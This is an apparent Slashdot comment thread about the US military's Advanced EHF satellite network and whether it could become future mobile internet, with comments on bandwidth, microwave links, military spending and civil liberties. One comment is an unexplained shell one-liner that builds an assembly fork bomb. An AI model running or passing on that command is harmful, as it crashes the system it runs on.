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The Mobile Internet You'll Be Using In 10 Years
mr sanjeev writes "After being plagued with project overruns and a scaling back of the final system, the US military's next-generation satellite communications network is another step closer to reality, with completion of the payload module for the third and final Advanced Extremely High Frequency (EHF) satellite ... If GPS and remote imaging (think Google Earth) have proven anything, it is that technology initially developed for military purposes, and extremely expensive for initial civil use, will eventually reach the point where it forms part of our daily lives without us ever being conscious of the massive investment to get to that point."
Obviously I didn't read TFA, but does anyone know about the possible speeds on these wireless links? As it stands, wifi is still (in practice) a lot slower and less reliable than even 100 mbit ethernet. It'd be pretty interesting if this new technology could offer reliable gigabit ethernet speeds (or better!) and similar reliability over reasonably long distances (similar to current wifi). But, my instincts tell me that that's just a pipe dream.
Game! - Where the stick is mightier than the sword!
Did Al Gore invent this?
It would be much better to use a small fleet of high altitude autonomous drones with communications gear on board. It would be cheaper to startup, cheaper to maintain, easier to upgrade, lower latency, etc. For certain applications satellites will still be needed, but we are at the edge of the next generation of low cost communications brought to us by continuously flying drones flying between 10 and 20 miles up.
There are 4 boxes to use in the defense of liberty: soap, ballot, jury, ammo. Use in that order. Starting now.
Assuming the tech filters down, something like Google Maps could be done in real time. Companies will launch surveillance planes, blimps, or piggyback on cellular towers so that anyone can zero-in on your house.
For a price, obviously, because my privacy is worth trading for their profits.
I suggest you read Slashdot
Quote: "it forms part of our daily lives without us ever being conscious of the massive investment to get to that point."
"Not conscious", my ass. Military investment makes up a very large part of our tax and trade burden, and many of us are conscious as hell of how much it costs. If the research did not eventually get into civilian hands, there would be hell to pay.
I am not saying it's not worth it... just that unlike the OP, I pay attention.
I worked in ARRL "10 GHz and up" contest last weekend, at 10 and 24 GHz, and those frequencies are not for beginners. The dish has to be pointed precisely to the source, with error within a couple of degrees. If the satellites are not geostationary then tracking would be a major problem, and I think they are not geostationary due to the distance involved.
Among other problems, microwave gear is very expensive, sensitive to abuse, and has low power output. Hams can deal with that, being happy with mere 100-200 mW at 10 GHz, but they don't mind chasing the signal as atmospheric conditions change during the day. It would be a lot of work to achieve a reliable link whenever you need it. Rain and fog are major problems in these bands. You basically have to throw power (and money) at the problem; if the military complains about "high cost" of these systems, they are surely not affordable yet to a common man. Considering that the economy just entered a tailspin, we may have bigger problems in coming years than fixing the mobile internet thing.
Hope not, cos that'll mean I've somehow been drafted into the US Army and I'm not an American!!
Unexpect the expected!
We may live in the armpit of freedom right now, but there is no doubt that our government funded initiatives like this have provided more fruit to the world than any other nation is hundreds of years. Now lets win back our freedom of speech and assembly!
These days it seems all but the most classified tech makes it into market very, very quickly. In ten years, not only will this system be a reality, but the civilian market will have figured out how to squeeze even more out of it than the military figured.
A top Admiral in the Navy was lamenting how the Navy is having a problem selling itself as a cutting edge tech provider simply because any such new tech they get goes to the civilian sector so quickly, and further, civilian use eclipses military use. In particular, he used the Arleigh Burke class of destroyers as an example. When it was being designed in the 80's, it was absolutely cutting edge stuff. It's been in service just over 15 years, and now the Admiral lamented that a single Blackberry has more com bandwidth than an entire Burke destroyer.
Kind of hard to sell recruits on "cutting edge" when that's the case.
Life is hard, and the world is cruel
Comment removed based on user account deletion
I thought the Internet I'll be using in 10 years will be called the RIAA distribution network and that I'd be using it from a jail cell because I once hummed "Happy Birthday" at a children's birthday party sometime in the 90s without paying the piper.
These posts express my own personal views, not those of my employer
I would imagine that if you consider even the last 100 years, the UK come up trumps in terms of "provided more
fruit to the world than any other nation".
Greetings,
My name is Adeola Hussein, son of former Iraqi dictator Saddam Hussein. I have come into the possetion of 10 North Korean Taepodong 2 ICBMs and I need your help transferring them from a warehouse in Syria to a third country.
I have been informed you were a trustworthy fellow.
In return for your help you will collect a commision of 1 Taepodong 2 missile.
I look forward to doing business with you.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Still waiting for Ludicrously High Frequency.... Seriously..
It doesn't cost the military anything to have millions of GPS users using their GPS system because the satellites take a passive role. It is the device in your hand doing the calculations based on signals and timing from a few satellites. On the other hand, a communications network actually has a limited resource in the form of bandwidth to be consumed by the millions of potential users.
Screw the predictors' predictions.
10 years from now...20 years from now... blah, blah...
WHERE THE FUCK is my Flying car promised to me 50 years ago???
Bring that first, and we will talk about stupid mobile internet...
As if enough AOL morons don't exist already...
The predictors should be drafted and send to Iraq: they can get to experience mobile artillery very much...
"Doing what i can, with what i have." ~ Burt Gummer
Yes, and that's also the reason why there should be a space program. Sadly though, many people nowadays don't see it that way. They think that reaching for the stars is "impractical" when we have so many problems here at ground level. But money spent this way, even in military endeavors, is *never* wasted. Eventually it reaches everyone in some way or another.
Like... TANG!
(just kidding)
The twitter monologues. Click on my homepage and be amazed.
its been a while since I've seen american citizens being put in jail for loitering....
Then you're not looking very hard. More and more cities are passing increasingly punitive "anti-loitering" laws all the time. Mostly under the logic that they "clean up" downtowns and prevent panhandling.
As for people getting punished for public assembly, just go to Flickr and type in "RNC" and you'll find plenty of people, almost all non-violent and cooperative, fwiw, being stopped from public assembly.
As soon as the feds started this concept of "free speech zones" they had publicly admitted that free speech wasn't predictably allowed anywhere else.
The EHF satellites are great for what they've been designed to do, deliver bandwidth to 10,000's users over a large area of the earth, but that isn't what most consumers need.
They need things that will work in urban canyons and can cope with 10,000's of users within a few square miles. This is much better served by local radio masts than satellite systems.
The future of mobile internet is 3G and WiMAX and its rivals, and its already here.
EHF communications is NOT the mobile internet of tomorrow. In fact AEHF won't even be the military's SATCOM system of choice when bandwidth is the primary requirement. They're generally going to turn to WGS (http://www.afspc.af.mil/library/factsheets/factsheet.asp?id=5582) or even more likely, commercial SATCOM because that's where the REAL bandwidth is.
Don't get me wrong EHF SATCOM does what's it designed to do very well. It's protected. The narrow beam widths on uplink and downlink provide low probability of detection & intercept (LPI/LPD). Being that it's a high-gain system (narrow beams, high power) coupled with frequency jumping across an enormous spectrum it makes it very hard to jam. Lastly, and least practical to a civilian user, EHF communications are more resistant to the effects of atmospheric scintillation in a post-nuclear environment.
So, if in 10 years, you find yourself in need of anti-jam, LPI/LPD communications following a major nuclear attack, then YES! EHF SATCOM will be there for you! :)
PS EHF may survive a nuke attack, but heavy rain does knock you off the air! Gotta take the good with the bad. :)